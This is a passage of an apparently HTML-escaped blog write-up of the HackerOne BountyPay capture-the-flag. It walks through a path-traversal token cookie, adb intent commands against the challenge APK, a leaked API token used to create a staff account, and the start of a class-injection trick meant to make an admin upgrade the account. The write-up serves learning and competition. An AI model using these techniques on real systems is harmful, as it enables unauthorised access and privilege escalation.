User-Agent: Mozilla/5.0 &lt;span class="o"&gt;(&lt;/span&gt;Macintosh&lt;span class="p"&gt;;&lt;/span&gt; Intel Mac OS X 10_14_6&lt;span class="o"&gt;)&lt;/span&gt; AppleWebKit/537.36 &lt;span class="o"&gt;(&lt;/span&gt;KHTML, like Gecko&lt;span class="o"&gt;)&lt;/span&gt; Chrome/83.0.4103.61 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://app.bountypay.h1ctf.com/
Accept-Encoding: &lt;span class="nb"&gt;gzip&lt;/span&gt;, deflate
Accept-Language: en-US,en&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0.9
Cookie: &lt;span class="nv"&gt;token&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSy8uLi8uLi8uLi9yZWRpcmVjdD91cmw9aHR0cHM6Ly9zb2Z0d2FyZS5ib3VudHlwYXkuaDFjdGYuY29tL3VwbG9hZHMjIiwiaGFzaCI6ImRlMjM1YmZmZDIzZGY2OTk1YWQ0ZTA5MzBiYWFjMWEyIn0&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;

&lt;span class="c"&gt;# data response&lt;/span&gt;
&lt;span class="s2"&gt;"data"&lt;/span&gt;:&lt;span class="s2"&gt;"&amp;lt;html&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Index of &lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;uploads&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;title&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;head&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;body bgcolor=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;white&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;h1&amp;gt;Index of &lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;uploads&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;h1&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;a href=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;..&lt;/span&gt;&lt;span class="se"&gt;\/\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;..&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;a&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;a href=&lt;/span&gt;&lt;span class="se"&gt;\"\/&lt;/span&gt;&lt;span class="s2"&gt;uploads&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;BountyPay.apk&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;BountyPay.apk&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;a&amp;gt;                                        20-Apr-2020 11:26              4043701&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;pre&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;body&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;html&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can see what's hosted there 👀 now you can download the &lt;code&gt;apk&lt;/code&gt; by going to: &lt;a href="https://software.bountypay.h1ctf.com/uploads//BountyPay.apk"&gt;https://software.bountypay.h1ctf.com/uploads/BountyPay.apk&lt;/a&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  apk
&lt;/h3&gt;

&lt;p&gt;This part was hard for me, but thanks again to Al-Madjus I was able to complete it using &lt;code&gt;adb&lt;/code&gt; and generating intents with the correct payloads, all the information was inside the apk.&lt;/p&gt;

&lt;p&gt;I used &lt;code&gt;android studio&lt;/code&gt; and &lt;code&gt;adb&lt;/code&gt; (if you have the emulator running you just need to run a shell by using &lt;code&gt;adb&lt;/code&gt; &lt;code&gt;$ adb shell&lt;/code&gt;)to complete the challenges:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ActivityOne

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;am start -a android.intent.action.VIEW -d "one://part?start=PartTwoActivity" -n bounty.pay/.PartOneActivity&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;ActivityTwo

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;am start -a android.intent.action.VIEW -d "two://part?two=light&amp;amp;switch=on" -n bounty.pay/.PartTwoActivity&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;ActivityThree

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;am start -a android.intent.action.VIEW -d "three://part?three=UGFydFRocmVVlQWN0aXZpdHk=&amp;amp;switch=b24=&amp;amp;header=X-Token" -n bounty.pay/.PartThreeActivity&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;Header value: &lt;code&gt;X-Token&lt;/code&gt; &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All the params were in the &lt;code&gt;apk&lt;/code&gt; - once you read the disassembled code you could see the flow of the program and use those to create the intents you needed - again huge thanks to AlMadjus for the help here.&lt;/p&gt;

&lt;p&gt;After completing this challenge we have access to a leaked token: &lt;code&gt;X-Token: 8e9998ee3137ca9ade8f372739f062c1&lt;/code&gt; which I grabbed from the cat log from android studi.&lt;br&gt;
We also know that we need to add that header with the token somewhere - if I remember correctly one of the subdomains asked specifically for a token when making requests directly to it: &lt;code&gt;api.bountypay.h1ctf.com&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  api.bountypay.h1ctf.com
&lt;/h3&gt;

&lt;p&gt;Using the new &lt;code&gt;X-Token: 8e9998ee3137ca9ade8f372739f062c1&lt;/code&gt; header, let's test the &lt;code&gt;api&lt;/code&gt; endpoint and see if I can now make requests, I found the &lt;code&gt;/api/staff&lt;/code&gt; endpoint which yields:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Sam Jenkins"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"staff_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"STF:84DJKEIP38"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Brian Oliver"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"staff_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"STF:KE624RQ2T9"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here I took a small detour and went on twitter - the &lt;a href="https://twitter.com/BountypayHQ/status/1258692145252270080"&gt;HackerOne&lt;/a&gt; account released some clues, including a twitter account for &lt;code&gt;bountypay&lt;/code&gt; which only followed three accounts which included the &lt;a href="https://twitter.com/SandraA76708114"&gt;newest&lt;/a&gt; employee and she even shared a pic of her cool new work badge with her &lt;code&gt;STF&lt;/code&gt; number on it- let's use that try to use that somewhere.&lt;br&gt;
In the above &lt;code&gt;GET&lt;/code&gt; request to &lt;code&gt;/api/staff&lt;/code&gt; we get the current employees and their &lt;code&gt;staff_id&lt;/code&gt; which is the same format that Sandra's badge has! but she's not in the system yet? Maybe she hasn't gotten set up yet? Let's help her out. After sending an inital &lt;code&gt;POST&lt;/code&gt; request without any parms I received this error &lt;code&gt;"Missing Parameter"&lt;/code&gt; so what paramet can we pass? her name? I don't think so maybe her staff_id is workin - let's try it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;// POST to create an account using th STF number &lt;span class="k"&gt;in &lt;/span&gt;the image
POST /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
Connection: close
Cache-Control: max-age&lt;span class="o"&gt;=&lt;/span&gt;0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 &lt;span class="o"&gt;(&lt;/span&gt;Macintosh&lt;span class="p"&gt;;&lt;/span&gt; Intel Mac OS X 10_14_6&lt;span class="o"&gt;)&lt;/span&gt; AppleWebKit/537.36 &lt;span class="o"&gt;(&lt;/span&gt;KHTML, like Gecko&lt;span class="o"&gt;)&lt;/span&gt; Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0.9,image/webp,image/apng,&lt;span class="k"&gt;*&lt;/span&gt;/&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0.8,application/signed-exchange&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;b3&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0.9
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Content-Length: 23
Content-Type: application/x-www-form-urlencoded

&lt;span class="nv"&gt;staff_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;STF:8FJ3KFISL3

// response with username and password! 
HTTP/1.1 201 Created
Server: nginx/1.14.0 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
Date: Sun, 31 May 2020 22:11:43 GMT
Content-Type: application/json
Connection: close
Content-Length: 110

&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"description"&lt;/span&gt;:&lt;span class="s2"&gt;"Staff Member Account Created"&lt;/span&gt;,&lt;span class="s2"&gt;"username"&lt;/span&gt;:&lt;span class="s2"&gt;"sandra.allison"&lt;/span&gt;,&lt;span class="s2"&gt;"password"&lt;/span&gt;:&lt;span class="s2"&gt;"s%3D8qB8zEpMnc*xsz7Yp5"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we have a &lt;code&gt;staff&lt;/code&gt; account! which should work for the &lt;code&gt;staff.bountypay.h1ctf.com&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  staff.bountypay.h1ctf.com
&lt;/h3&gt;

&lt;p&gt;With our new &lt;code&gt;staff&lt;/code&gt; account we can sign into the &lt;a href="http://staff.bountypay.h1ctf.com"&gt;staff.bountypay.h1ctf.com&lt;/a&gt; application, there's a few things to note here:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;We get some clientside &lt;code&gt;js&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/js/website.js&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The account is &lt;strong&gt;not&lt;/strong&gt; admin and we probably need admin rights to see more

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/template=admin&lt;/code&gt; gives 403&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;We control the &lt;code&gt;profile_avatar&lt;/code&gt; input name since we can change it clientside however sensitive chars are filtered, we also control our user name but this wasn't of much use here

&lt;ul&gt;
&lt;li&gt;injection is possible though &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;When looking at the &lt;code&gt;website.js&lt;/code&gt; file I noticed &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;upgradeToAdmin&lt;/code&gt; function, I tried to hit the route myself but only admins can do it (it's a &lt;code&gt;GET&lt;/code&gt; request to /admin/upgrade?username=sandra.allison)&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;sendReport&lt;/code&gt; function that submits a &lt;code&gt;url&lt;/code&gt; which is generated by the app and it's &lt;code&gt;base64 encoded&lt;/code&gt; the url is generated for each page - the modal mentions an admin will take a look at the page, this is great if we can trick the admin into making that upgrade request for us, we could become admins too.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// javascript from the application&lt;/span&gt;
&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.upgradeToAdmin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;click&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;input[name="username"]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/admin/upgrade?username=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;User Upgraded to Admin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;}),&lt;/span&gt;
&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.tab&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;click&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.tab&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;removeClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;active&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;addClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;active&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;div.content&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;addClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hidden&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;div.content-&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;data-target&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nx"&gt;removeClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hidden&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="p"&gt;}),&lt;/span&gt;
&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.sendReport&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;click&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/admin/report?url=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Report sent to admin team&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;}),&lt;/span&gt;
  &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#myModal&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;modal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hide&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}),&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; 
&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#tab1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt; 
&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.tab1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;trigger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;click&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#tab2&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.tab2&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;trigger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;click&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#tab3&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.tab3&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;trigger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;click&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#tab4&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.tab4&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;trigger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;click&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  document.hash
&lt;/h3&gt;

&lt;p&gt;I spent a lot of time trying to get &lt;code&gt;xss&lt;/code&gt; since there was an html injection in the &lt;code&gt;avatar_name&lt;/code&gt; input value when choosing an avatar under the &lt;code&gt;Profile&lt;/code&gt; tab. I realized I controlled a field that gets echoed back as a class and if I could just trigger the &lt;code&gt;.upgradeToAdmin&lt;/code&gt; function, I might be able to store that in the &lt;code&gt;profile_avatar&lt;/code&gt; variable that I control, the last part was getting the admin to make the request. &lt;/p&gt;

&lt;p&gt;How do we trigger the function though? &lt;br&gt;
Well since we control a class and there's a class that get's used in the &lt;code&gt;jquery&lt;/code&gt; above to check the tabs and then fire their &lt;code&gt;click&lt;/code&gt; events could we take advantage of that event and use it for our purposes? Yes we can! &lt;br&gt;
&lt;a href="https://i.giphy.com/media/8FuMcd7vGO6dRKScnE/giphy.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://i.giphy.com/media/8FuMcd7vGO6dRKScnE/giphy.gif" alt="yes we can gif" width="480" height="480"&gt;&lt;/a&gt;&lt;br&gt;
